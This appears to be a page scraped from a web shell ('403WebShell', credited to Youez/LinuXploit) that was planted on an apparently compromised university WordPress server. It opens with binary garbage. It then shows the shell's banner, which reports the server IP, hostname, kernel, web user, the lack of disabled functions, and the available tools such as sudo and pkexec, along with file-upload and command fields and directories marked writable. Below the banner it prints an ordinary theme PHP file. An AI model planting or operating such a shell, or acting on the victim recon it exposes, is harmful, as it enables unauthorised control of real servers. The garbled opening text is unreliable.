h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/skruarchives/wp-content/themes/parvati/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/skruarchives/wp-content/themes/parvati/inc/theme-functions.php
<?php
/**
 * Main theme functions.
 *
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

if ( ! function_exists( 'parvati_get_setting' ) ) {
	/**
	 * A wrapper function to get our settings.
	 *
	 */
	function parvati_get_setting( $setting ) {
		$parvati_settings = wp_parse_args(
			get_option( 'parvati_settings', array() ),
			parvati_get_defaults()
		);

		return $parvati_settings[ $setting ];
	}
}

if ( ! function_exists( 'parvati_get_layout' ) ) {
	/**
	 * Get the layout for the current page.
	 *
	 *
	 * @return string The sidebar layout location.
	 */
	function parvati_get_layout() {
		// Get current post
		global $post;

		// Get Customizer options
		$parvati_settings = wp_parse_args(
			get_option( 'parvati_settings', array() ),
			parvati_get_defaults()
		);

		// Set up the layout variable for pages
		$layout = $parvati_settings['layout_setting'];

		// Get the individual page/post sidebar metabox value
		$layout_meta = ( isset( $post ) ) ? get_post_meta( $post->ID, '_parvati-sidebar-layout-meta', true ) : '';

		// Set up BuddyPress variable
		$buddypress = false;
		if ( function_exists( 'is_buddypress' ) ) {
			$buddypress = ( is_buddypress() ) ? true : false;
		}

		// If we're on the single post page
		// And if we're not on a BuddyPress page - fixes a bug where BP thinks is_single() is true
		if ( is_single() && ! $buddypress ) {
			$layout = null;
			$layout = $parvati_settings['single_layout_setting'];
		}

		// If the metabox is set, use it instead of the global settings
		if ( '' !== $layout_meta && false !== $layout_meta ) {
			$layout = $layout_meta;
		}

		// If we're on the blog, archive, attachment etc..
		if ( is_home() || is_archive() || is_search() || is_tax() ) {
			$layout = null;
			$layout = $parvati_settings['blog_layout_setting'];
		}

		// Finally, return the layout
		return apply_filters( 'parvati_sidebar_layout', $layout );
	}
}

if ( ! function_exists( 'parvati_get_footer_widgets' ) ) {
	/**
	 * Get the footer widgets for the current page
	 *
	 *
	 * @return int The number of footer widgets.
	 */
	function parvati_get_footer_widgets() {
		// Get current post
		global $post;

		// Get Customizer options
		$parvati_settings = wp_parse_args(
			get_option( 'parvati_settings', array() ),
			parvati_get_defaults()
		);

		// Set up the footer widget variable
		$widgets = $parvati_settings['footer_widget_setting'];

		// Get the individual footer widget metabox value
		$widgets_meta = ( isset( $post ) ) ? get_post_meta( $post->ID, '_parvati-footer-widget-meta', true ) : '';

		// If we're not on a single page or post, the metabox hasn't been set
		if ( ! is_singular() ) {
			$widgets_meta = '';
		}

		// If we have a metabox option set, use it
		if ( '' !== $widgets_meta && false !== $widgets_meta ) {
			$widgets = $widgets_meta;
		}

		// Finally, return the layout
		return apply_filters( 'parvati_footer_widgets', $widgets );
	}
}

if ( ! function_exists( 'parvati_show_excerpt' ) ) {
	/**
	 * Figure out if we should show the blog excerpts or full posts
	 *
	 */
	function parvati_show_excerpt() {
		// Get current post
		global $post;

		// Get Customizer settings
		$parvati_settings = wp_parse_args(
			get_option( 'parvati_settings', array() ),
			parvati_get_defaults()
		);

		// Check to see if the more tag is being used
		$more_tag = apply_filters( 'parvati_more_tag', strpos( $post->post_content, '<!--more-->' ) );

		// Check the post format
		$format = ( false !== get_post_format() ) ? get_post_format() : 'standard';

		// Get the excerpt setting from the Customizer
		$show_excerpt = ( 'excerpt' == $parvati_settings['post_content'] ) ? true : false;

		// If the more tag is found, show the full content
		$show_excerpt = ( $more_tag ) ? false : $show_excerpt;

		// If we're on a search results page, show the excerpt
		$show_excerpt = ( is_search() ) ? true : $show_excerpt;

		// Return our value
		return apply_filters( 'parvati_show_excerpt', $show_excerpt );
	}
}

if ( ! function_exists( 'parvati_show_title' ) ) {
	/**
	 * Check to see if we should show our page/post title or not.
	 *
	 *
	 * @return bool Whether to show the content title.
	 */
	function parvati_show_title() {
		return apply_filters( 'parvati_show_title', true );
	}
}

if ( ! function_exists( 'parvati_padding_css' ) ) {
	/**
	 * Shorten our padding/margin values into shorthand form.
	 *
	 *
	 * @param int $top Top spacing.
	 * @param int $right Right spacing.
	 * @param int $bottom Bottom spacing.
	 * @param int $left Left spacing.
	 * @return string Element spacing values.
	 */
	function parvati_padding_css( $top, $right, $bottom, $left ) {
		$padding_top = ( isset( $top ) && '' !== $top ) ? absint( $top ) . 'px ' : '0px ';
		$padding_right = ( isset( $right ) && '' !== $right ) ? absint( $right ) . 'px ' : '0px ';
		$padding_bottom = ( isset( $bottom ) && '' !== $bottom ) ? absint( $bottom ) . 'px ' : '0px ';
		$padding_left = ( isset( $left ) && '' !== $left ) ? absint( $left ) . 'px' : '0px';

		// If all of our values are the same, we can return one value only
		if ( ( absint( $padding_top ) === absint( $padding_right ) ) && ( absint( $padding_right ) === absint( $padding_bottom ) ) && ( absint( $padding_bottom ) === absint( $padding_left ) ) ) {
			return $padding_left;
		}

		return $padding_top . $padding_right . $padding_bottom . $padding_left;
	}
}

if ( ! function_exists( 'parvati_get_link_url' ) ) {
	/**
	 * Return the post URL.
	 *
	 * Falls back to the post permalink if no URL is found in the post.
	 *
	 *
	 * @see get_url_in_content()
	 * @return string The Link format URL.
	 */
	function parvati_get_link_url() {
		$has_url = get_url_in_content( get_the_content() );

		return $has_url ? $has_url : apply_filters( 'the_permalink', get_permalink() );
	}
}

if ( ! function_exists( 'parvati_get_navigation_location' ) ) {
	/**
	 * Get the location of the navigation and filter it.
	 *
	 *
	 * @return string The primary menu location.
	 */
	function parvati_get_navigation_location() {
		return apply_filters( 'parvati_navigation_location', parvati_get_setting( 'nav_position_setting' ) );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit